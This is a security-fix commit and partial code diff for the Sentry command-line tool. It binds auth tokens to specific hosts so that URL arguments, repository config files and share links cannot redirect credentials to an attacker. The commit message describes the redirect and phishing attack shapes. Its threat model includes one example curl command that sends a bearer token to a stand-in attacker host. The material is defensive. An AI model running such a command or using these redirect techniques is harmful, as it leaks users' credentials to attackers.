security: scope tokens to hosts to prevent credential exfiltration (#844)

## Summary

Closes the "untrusted input redirects credentialed requests to an
attacker host" vulnerability class. Three CVE-class shapes:

1. **URL argument** (`sentry-url-parser.ts`): `sentry issue view
https://evil.com/...` previously wrote
`env.SENTRY_HOST=https://evil.com` unconditionally → every subsequent
authenticated fetch / OAuth refresh sent credentials to the attacker.

2. **`.sentryclirc` injection** (`sentryclirc.ts`): a committed
`.sentryclirc` in a cloned repo could set `[defaults] url =
https://evil.com`. With `SENTRY_AUTH_TOKEN` in env and `SENTRY_HOST`
unset, the env-shim wrote the attacker's URL and preserved the real
token for routing there.

3. **Share URL custom headers** (`api/issues.ts`): `getSharedIssue`
attached `SENTRY_CUSTOM_HEADERS` (IAP tokens, mTLS) to any non-SaaS
share URL.

Plus a phishing vector also closed:

4. **OAuth-flow phishing** via the same `.sentryclirc` channel: poisoned
rc URL → CLI directs the user's browser to
`<attacker>/oauth/authorize/...`, attacker serves a Sentry-cloned login
page, captures the developer's SSO credentials. Worse than a single
token leak (compromises every service the SSO covers).

## Fix — Scope tokens to hosts

Tokens are bound to a specific Sentry host at issuance time. Routing
decisions (URL args, `.sentryclirc`, env vars) are decoupled from
credential decisions: credentials simply aren't attached when
destination ≠ token host.

### Trust establishment

`sentry auth login --url <url>` is the **only** way to establish trust
for a new host. URL arguments, `.sentryclirc` files, and `auth login`
against a host the rc shim wrote are rejected when the host isn't
already trusted.

| Source of non-SaaS URL | Matches token | Doesn't match | No token |
|---|---|---|---|
| URL arg (`sentry <cmd> <url>`) | Proceed | Throw | Throw |
| `.sentryclirc [defaults] url` | Proceed | Throw | Throw |
| `auth login` (rc-poisoned host) | — | Throw (phishing) | Throw
(phishing) |
| `auth login --token X` (rc-poisoned) | — | Throw (token leak) | Throw
(token leak) |
| `auth login --url <url>` | — | — | Proceed (trust establishment) |

SaaS URLs (`*.sentry.io`) always proceed — the SaaS equivalence class
covers regional silos and org subdomains.

### Architecture

- `auth` table gains `host TEXT` column (schema v16). Lazy migration
backfills NULL hosts from the boot-time env snapshot.
- `src/lib/token-host.ts` — origin normalization, SaaS-aware
`isHostTrusted`, `getActiveTokenHost`. Process-local trust extension for
region URLs (`db/regions.ts`) so authenticated multi-region fan-out
works.
- `src/lib/env-token-host.ts` — captures the env-token's scope from
`SENTRY_HOST`/`SENTRY_URL` at boot, BEFORE `.sentryclirc` shim can
mutate env. `.sentryclirc` values intentionally NOT trusted for scoping.
- `src/lib/token-claims.ts` — defensive parser for the `sntrys_`
org-auth-token format. Used as (a) UX fallback in `captureEnvTokenHost`
when env doesn't provide a host, and (b) defense-in-depth at the fetch
layer (refuse to attach a token whose claim disagrees with the request
origin).
- `sentry auth login --url <url>` flag added; persists host with the
stored token.

### Enforcement layers

- **Entry-point guards**: `applySentryUrlContext`,
`applySentryCliRcEnvShim`, `refuseLoginToUntrustedHost` reject
mismatched hosts before any credentialed I/O.
- **Fetch-layer defense in depth**: `prepareHeaders` and
`refreshAccessToken` re-check origin before attaching credentials.
`applyCustomHeaders` is URL-scoped — IAP/mTLS tokens never attach to
untrusted hosts.

## CI hardening recommendation

Sentry org-auth tokens (`sntrys_` prefix) embed an unsigned `url` claim
recording the issuing host. The CLI uses this claim as a
defense-in-depth signal: a request whose origin disagrees with the claim
is refused even when the stored host matches the request origin.

For CI environments where one step can influence another step's
environment (e.g. GitHub Actions `$GITHUB_ENV`), `sntrys_` tokens are
recommended over `sntryu_` user-auth tokens. The claim provides scope
binding that env vars alone cannot — an attacker who can poison
`SENTRY_HOST` but not the token cannot redirect the token's destination.

## Threat model — explicit non-goals

- **Arbitrary code execution in a CI step that has read access to
`SENTRY_AUTH_TOKEN`**: out of scope. Such a step can `curl evil.com -H
"Authorization: Bearer $TOKEN"` directly, bypassing the CLI entirely.
- **Layered-CI env injection against `sntryu_` / OAuth tokens** (no
claim available): documented as a workflow-design concern.
Recommendation: use `sntrys_` for CI.
- **`.envrc` / direnv**: out of scope (not loaded by this CLI).
- **User pasting an attacker-supplied token**: out of scope. Any token
the user voluntarily configures is trusted at the user's discretion.

## Migration UX

- OAuth rows with NULL `host`: silent lazy migration from boot-time env
snapshot. One `info` log line.
- `.sentryclirc` with repo-local non-SaaS url that doesn't match the
active token: first command in the repo after upgrade throws `CliError`
with an actionable message.
- Users with matching configs are unaffected.

## Tests

- `test/lib/security/` — 7 attack regression suites covering all four
shapes + fetch-layer defense-in-depth.
- `test/lib/token-{host,claims}.{test,property.test}.ts` — SaaS
equivalence, subdomain/lookalike resistance, claim parsing, origin
normalization invariants via fast-check.
- `test/lib/env-token-host.test.ts` — snapshot isolation from
`.sentryclirc` env writes.
- `test/lib/db/auth.host.test.ts` — persistence + NULL-host lazy
migration + clearAuth eviction semantics.
- 6052 unit + 130 e2e tests pass.

## Closes

- #848 (UX: scope env-supplied `sntrys_` tokens from embedded url claim)
— implemented.

Plan file with full design rationale:
`.opencode/plans/1777023782662-proud-circuit.md`.

---------

Co-authored-by: Burak Yigit Kaya <byk@byk.im>

Author: BYK

plugins/sentry-cli/skills/sentry-cli/references/auth.md

@@ -19,6 +19,7 @@ Authenticate with Sentry
 - `--token <value> - Authenticate using an API token instead of OAuth`
 - `--timeout <value> - Timeout for OAuth flow in seconds (default: 900) - (default: "900")`
 - `--force - Re-authenticate without prompting`
+- `--url <value> - Sentry instance URL to authenticate against (e.g. https://sentry.example.com). Required for self-hosted; defaults to SaaS (https://sentry.io).`
 
 **Examples:**
 

src/cli.ts

@@ -11,6 +11,8 @@
  */
 
 import { getEnv } from "./lib/env.js";
+import { captureEnvTokenHost } from "./lib/env-token-host.js";
+import { CliError } from "./lib/errors.js";
 import { applySentryCliRcEnvShim } from "./lib/sentryclirc.js";
 
 /**
@@ -20,6 +22,11 @@ import { applySentryCliRcEnvShim } from "./lib/sentryclirc.js";
  * to `findProjectRoot` and `loadSentryCliRc` are cache hits.
  */
 async function preloadProjectContext(cwd: string): Promise<void> {
+  // Snapshot env-token host BEFORE anything mutates env.SENTRY_HOST/URL
+  // (the .sentryclirc shim or the default-URL fallback below). Pins the
+  // env-token's trust scope to the user's shell, not a repo-local file.
+  captureEnvTokenHost();
+
   // Dynamic import keeps the heavy DSN/DB modules out of the completion fast-path
   const [{ findProjectRoot }, { setCachedProjectRoot }] = await Promise.all([
     import("./lib/dsn/project-root.js"),
@@ -32,13 +39,12 @@ async function preloadProjectContext(cwd: string): Promise<void> {
     reason: result.reason,
   });
 
-  // Apply .sentryclirc env shim (token, URL) — sentryclirc cache was
-  // populated as a side effect of findProjectRoot's walk
+  // Apply .sentryclirc env shim (token + URL). The URL trust check is
+  // deferred to buildCommand's wrapper where commands can opt out via
+  // skipRcUrlCheck (used by auth login/logout).
   await applySentryCliRcEnvShim(cwd);
 
   // Apply persistent URL default (lower priority than env vars and .sentryclirc).
-  // Same mechanism as .sentryclirc — writes to env.SENTRY_URL so all downstream
-  // URL resolution code picks it up automatically.
   const env = getEnv();
   if (!(env.SENTRY_HOST?.trim() || env.SENTRY_URL?.trim())) {
     try {
@@ -467,11 +473,18 @@ export async function startCli(): Promise<void> {
 
   // Walk up from CWD once to find project root AND .sentryclirc config.
   // Caches both so later findProjectRoot / loadSentryCliRc calls are hits.
-  // Non-fatal — the CLI can still work via env vars and DSN detection.
+  // Most failures here are non-fatal (unreadable rc file, missing project
+  // markers), but `CliError` from the rc shim's host-scoping check is an
+  // actionable rejection that must surface to the user.
   try {
     await preloadProjectContext(process.cwd());
-  } catch {
-    // Gracefully degrade: project context is optional for CLI operation.
+  } catch (err) {
+    if (err instanceof CliError) {
+      process.stderr.write(`${err.format()}\n`);
+      process.exitCode = err.exitCode;
+      return;
+    }
+    // Gracefully degrade: project context is optional.
   }
 
   return runCli(args).catch((err) => {

src/commands/auth/login.ts

@@ -6,6 +6,7 @@ import {
   listOrganizationsUncached,
 } from "../../lib/api-client.js";
 import { buildCommand, numberParser } from "../../lib/command.js";
+import { DEFAULT_SENTRY_URL, normalizeUrl } from "../../lib/constants.js";
 import {
   clearAuth,
   getActiveEnvVarName,
@@ -14,9 +15,15 @@ import {
   isEnvTokenActive,
   setAuthToken,
 } from "../../lib/db/auth.js";
+import { setDefaultUrl } from "../../lib/db/defaults.js";
 import { getDbPath } from "../../lib/db/index.js";
 import { getUserInfo, setUserInfo } from "../../lib/db/user.js";
-import { AuthError } from "../../lib/errors.js";
+import { getEnv } from "../../lib/env.js";
+import {
+  AuthError,
+  HostScopeError,
+  ValidationError,
+} from "../../lib/errors.js";
 import { success } from "../../lib/formatters/colors.js";
 import {
   formatDuration,
@@ -30,6 +37,15 @@ import {
 } from "../../lib/interactive-login.js";
 import { logger } from "../../lib/logger.js";
 import { clearResponseCache } from "../../lib/response-cache.js";
+import {
+  isSaaSTrustOrigin,
+  normalizeOrigin,
+  normalizeUserInputToOrigin,
+} from "../../lib/sentry-urls.js";
+import {
+  isLoginTrustAnchorFor,
+  registerLoginTrustAnchor,
+} from "../../lib/token-host.js";
 
 const log = logger.withTag("auth.login");
 
@@ -56,8 +72,118 @@ type LoginFlags = {
   readonly token?: string;
   readonly timeout: number;
   readonly force: boolean;
+  readonly url?: string;
 };
 
+/**
+ * Normalize and validate the `--url` flag value. Accepts bare hostnames
+ * and full URLs; returns the normalized origin.
+ */
+/** @internal exported for testing */
+export function parseLoginUrl(raw: string): string {
+  const prefixed = normalizeUrl(raw);
+  if (!prefixed) {
+    throw new ValidationError("--url cannot be empty", "url");
+  }
+  const origin = normalizeOrigin(prefixed);
+  if (!origin) {
+    throw new ValidationError(`--url is not a valid URL: ${raw}`, "url");
+  }
+  return origin;
+}
+
+/**
+ * Refuse `auth login` against a host that came from an untrusted channel
+ * (rc-shim bypass wrote env.SENTRY_URL with no matching trust anchor).
+ *
+ * Two distinct attack shapes are blocked here:
+ *
+ * 1. **Token leak (`auth login --token X`)**: without the refusal, login
+ *    validation POSTs the user's existing API token to the attacker's
+ *    host — direct credential exfiltration.
+ *
+ * 2. **Phishing (`auth login` OAuth device flow)**: the CLI directs the
+ *    user's browser to `<attacker-host>/oauth/authorize/...`. A
+ *    homograph / look-alike domain plus a Sentry-cloned login page can
+ *    capture the user's SSO credentials (Google, GitHub, etc.) — much
+ *    worse than a single token leak because it compromises every
+ *    service the SSO covers. `.sentryclirc` is a stealthy phishing
+ *    vector because it slips through code review more easily than a
+ *    `curl evil.com` would.
+ *
+ * `applyLoginUrl` only registers a trust anchor when the host comes from
+ * a trusted source (`--url` flag or boot-time env snapshot), so "no
+ * matching anchor" is the load-bearing signal that the host arrived via
+ * an untrusted channel.
+ */
+function refuseLoginToUntrustedHost(
+  flags: LoginFlags,
+  effectiveHost: string
+): void {
+  if (
+    flags.url ||
+    isSaaSTrustOrigin(effectiveHost) ||
+    isLoginTrustAnchorFor(effectiveHost)
+  ) {
+    return;
+  }
+  const tokenHint = flags.token ? " --token <token>" : "";
+  throw new HostScopeError(
+    `Refusing to log in against ${effectiveHost} without explicit --url.\n` +
+      "Pass the host explicitly to confirm you trust it:\n" +
+      `  sentry auth login --url ${effectiveHost}${tokenHint}`
+  );
+}
+
+/**
+ * Persist a non-SaaS `--url` host as the stored default so subsequent CLI
+ * invocations route correctly without requiring `SENTRY_HOST`. Only writes
+ * when `--url` was explicitly passed; env/rc-sourced values persist
+ * through those channels. Non-fatal on DB failure.
+ */
+function persistLoginUrlAsDefault(
+  flagUrl: string | undefined,
+  effectiveHost: string
+): void {
+  if (!flagUrl || isSaaSTrustOrigin(effectiveHost)) {
+    return;
+  }
+  try {
+    setDefaultUrl(effectiveHost);
+  } catch {
+    log.debug(
+      `Could not persist default URL to DB; host is recorded on the stored token. Set SENTRY_HOST or run 'sentry cli defaults url ${effectiveHost}' if subsequent commands route incorrectly.`
+    );
+  }
+}
+
+/**
+ * When `--url` is passed, set `env.SENTRY_HOST`/`env.SENTRY_URL` so the
+ * device flow and token refresh hit the requested host. Returns the
+ * effective host so callers can record it with {@link setAuthToken}.
+ *
+ * Registers a login trust anchor (consumed by {@link applyCustomHeaders}
+ * for IAP onboarding) only when `--url` is explicitly passed — the user's
+ * argv is the only trusted source for this. When `--url` is absent, the
+ * effective host comes from current env (which may have been written by the
+ * `.sentryclirc` shim) and is NOT registered as a trust anchor.
+ */
+export function applyLoginUrl(url: string | undefined): string {
+  const env = getEnv();
+
+  if (url) {
+    env.SENTRY_HOST = url;
+    env.SENTRY_URL = url;
+    registerLoginTrustAnchor(url);
+    return url;
+  }
+
+  return (
+    normalizeUserInputToOrigin(env.SENTRY_HOST || env.SENTRY_URL) ??
+    DEFAULT_SENTRY_URL
+  );
+}
+
 /**
  * Handle the case where the user is already authenticated.
  *
@@ -113,12 +239,17 @@ async function handleExistingAuth(force: boolean): Promise<boolean> {
 
 export const loginCommand = buildCommand({
   auth: false,
+  skipRcUrlCheck: true,
   docs: {
     brief: "Authenticate with Sentry",
     fullDescription:
       "Log in to Sentry using OAuth or an API token.\n\n" +
       "The OAuth flow uses a device code - you'll be given a code to enter at a URL.\n" +
-      "Alternatively, use --token to authenticate with an existing API token.",
+      "Alternatively, use --token to authenticate with an existing API token.\n\n" +
+      "For self-hosted Sentry, pass --url <url> to authenticate against that\n" +
+      "instance. This is the ONLY way to trust a new Sentry host — URL\n" +
+      "arguments and config files are refused when they don't match the\n" +
+      "currently-authenticated host.",
   },
   parameters: {
     flags: {
@@ -140,10 +271,24 @@ export const loginCommand = buildCommand({
         brief: "Re-authenticate without prompting",
         default: false,
       },
+      url: {
+        kind: "parsed",
+        parse: parseLoginUrl,
+        brief:
+          "Sentry instance URL to authenticate against (e.g. https://sentry.example.com). " +
+          "Required for self-hosted; defaults to SaaS (https://sentry.io).",
+        optional: true,
+      },
     },
   },
   output: { human: formatLoginResult },
   async *func(this: SentryContext, flags: LoginFlags) {
+    // Apply --url first so the device flow / token refresh target the
+    // requested instance. Default URL persistence is deferred until login
+    // succeeds — see persistLoginUrlAsDefault calls below.
+    const effectiveHost = applyLoginUrl(flags.url);
+    refuseLoginToUntrustedHost(flags, effectiveHost);
+
     // Check if already authenticated and handle re-authentication
     if (isAuthenticated()) {
       const shouldProceed = await handleExistingAuth(flags.force);
@@ -161,8 +306,10 @@ export const loginCommand = buildCommand({
 
     // Token-based authentication
     if (flags.token) {
-      // Save token first, then validate by fetching user regions
-      await setAuthToken(flags.token);
+      // Save token first (with host scope), then validate by fetching user regions
+      await setAuthToken(flags.token, undefined, undefined, {
+        host: effectiveHost,
+      });
 
       // Validate token by fetching user regions
       try {
@@ -176,6 +323,9 @@ export const loginCommand = buildCommand({
         );
       }
 
+      // Login succeeded — persist default URL for subsequent invocations.
+      persistLoginUrlAsDefault(flags.url, effectiveHost);
+
       // Fetch and cache user info via /auth/ (works with all token types).
       // A transient failure here must not block login — the token is already valid.
       const result: LoginResult = {
@@ -201,12 +351,14 @@ export const loginCommand = buildCommand({
       return yield new CommandOutput(result);
     }
 
-    // OAuth device flow
+    // OAuth device flow (host scope recorded via completeOAuthFlow → setAuthToken)
     const result = await runInteractiveLogin({
       timeout: flags.timeout * 1000,
     });
 
     if (result) {
+      // Login succeeded — persist default URL for subsequent invocations.
+      persistLoginUrlAsDefault(flags.url, effectiveHost);
       // Warm the org + region cache so the first real command is fast.
       // Fire-and-forget — login already succeeded, caching is best-effort.
       warmOrgCache();

src/commands/auth/logout.ts

@@ -30,6 +30,7 @@ export type LogoutResult = {
 
 export const logoutCommand = buildCommand({
   auth: false,
+  skipRcUrlCheck: true,
   docs: {
     brief: "Log out of Sentry",
     fullDescription:

src/lib/api/issues.ts

@@ -669,7 +669,9 @@ export async function getSharedIssue(
 ): Promise<{ groupID: string }> {
   const url = `${baseUrl}/api/0/shared/issues/${encodeURIComponent(shareId)}/`;
   const headers = new Headers({ "Content-Type": "application/json" });
-  applyCustomHeaders(headers);
+  // URL-scoped: headers only attach when `url`'s origin matches the trusted
+  // host, so IAP tokens etc. can't leak to an attacker-controlled share URL.
+  applyCustomHeaders(headers, url);
   const response = await fetch(url, { headers });
 
   if (!response.ok) {

src/lib/api/organizations.ts

@@ -165,7 +165,9 @@ export async function listOrganizations(): Promise<SentryOrganization[]> {
 export async function listOrganizationsUncached(): Promise<
   SentryOrganization[]
 > {
-  const { setOrgRegions } = await import("../db/regions.js");
+  const { registerTrustedRegionUrls, setOrgRegions } = await import(
+    "../db/regions.js"
+  );
 
   // Self-hosted instances may not have the regions endpoint (404)
   const regionsResult = await withAuthGuard(() => getUserRegions());
@@ -187,6 +189,11 @@ export async function listOrganizationsUncached(): Promise<
     return orgs;
   }
 
+  // Extend the trust class BEFORE fan-out so the per-region requests
+  // pass the host-scoping guard. setOrgRegions later persists these
+  // (and re-registers them, idempotent) but only after fan-out completes.
+  registerTrustedRegionUrls(regions.map((r) => r.url));
+
   const settled = await Promise.allSettled(
     regions.map(async (region) => {
       const orgs = await listOrganizationsInRegion(region.url);
@@ -233,6 +240,9 @@ export async function listOrganizationsUncached(): Promise<
     orgName: r.org.name,
     orgRole: (r.org as Record<string, unknown>).orgRole as string | undefined,
   }));
+  // setOrgRegions persists AND extends the in-process trust class to
+  // include any per-org regionUrl from links (may differ from the
+  // /users/me/regions/ response when the SDK returns a more specific URL).
   setOrgRegions(regionEntries);
 
   return orgs;

src/lib/command.ts

@@ -165,6 +165,14 @@ type LocalCommandBuilderArguments<
    * (e.g. `auth login`, `auth logout`, `auth status`, `help`, `cli upgrade`).
    */
   readonly auth?: boolean;
+  /**
+   * Skip the `.sentryclirc` URL trust check. Defaults to `false`.
+   *
+   * Set to `true` for commands that establish or tear down host trust
+   * (`auth login`, `auth logout`) — they must run even when a
+   * repo-local `.sentryclirc` URL mismatches the current token.
+   */
+  readonly skipRcUrlCheck?: boolean;
 };
 
 // ---------------------------------------------------------------------------
@@ -344,6 +352,7 @@ export function buildCommand<
   const originalFunc = builderArgs.func;
   const outputConfig = builderArgs.output;
   const requiresAuth = builderArgs.auth !== false;
+  const skipRcUrlCheck = builderArgs.skipRcUrlCheck === true;
 
   // Merge logging flags into the command's flag definitions.
   // Quoted keys produce kebab-case CLI flags: "log-level" → --log-level
@@ -608,6 +617,13 @@ export function buildCommand<
         throw new AuthError("not_authenticated");
       }
 
+      // Validate rc-sourced URL against the active token's host. Deferred
+      // to here (instead of boot) so commands can opt out via skipRcUrlCheck.
+      if (!skipRcUrlCheck && "cwd" in this) {
+        const { assertRcUrlTrusted } = await import("./sentryclirc.js");
+        await assertRcUrlTrusted(this.cwd as string);
+      }
+
       // Execution phase: core command logic, API calls, org/project resolution
       const returned = await withTracing(
         "exec",